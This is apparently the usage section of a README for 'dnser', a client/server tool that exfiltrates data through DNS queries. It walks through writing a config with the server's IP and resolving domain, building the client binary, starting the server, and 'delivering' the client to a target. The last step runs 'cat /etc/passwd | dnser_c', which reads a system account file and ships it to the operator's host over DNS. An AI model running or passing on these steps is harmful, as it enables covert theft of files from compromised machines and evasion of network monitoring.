Usage

Before you start using it, you need to build the client binary, after which you can up the server.

1. Create config

server:
  port: <dnsport>
  host: <ip>
  domain: <domain for resolving>

client:
  projectDir: <path to dnser/src/ (example: /tmp/dnser/src/)>

2. Build client. We get the path to the client binary

./server -config <path to config> -build

3. Start the server

./server -config <path to config> -serve

4. After that we deliver the client and launch

cat /etc/passwd | dnser_c
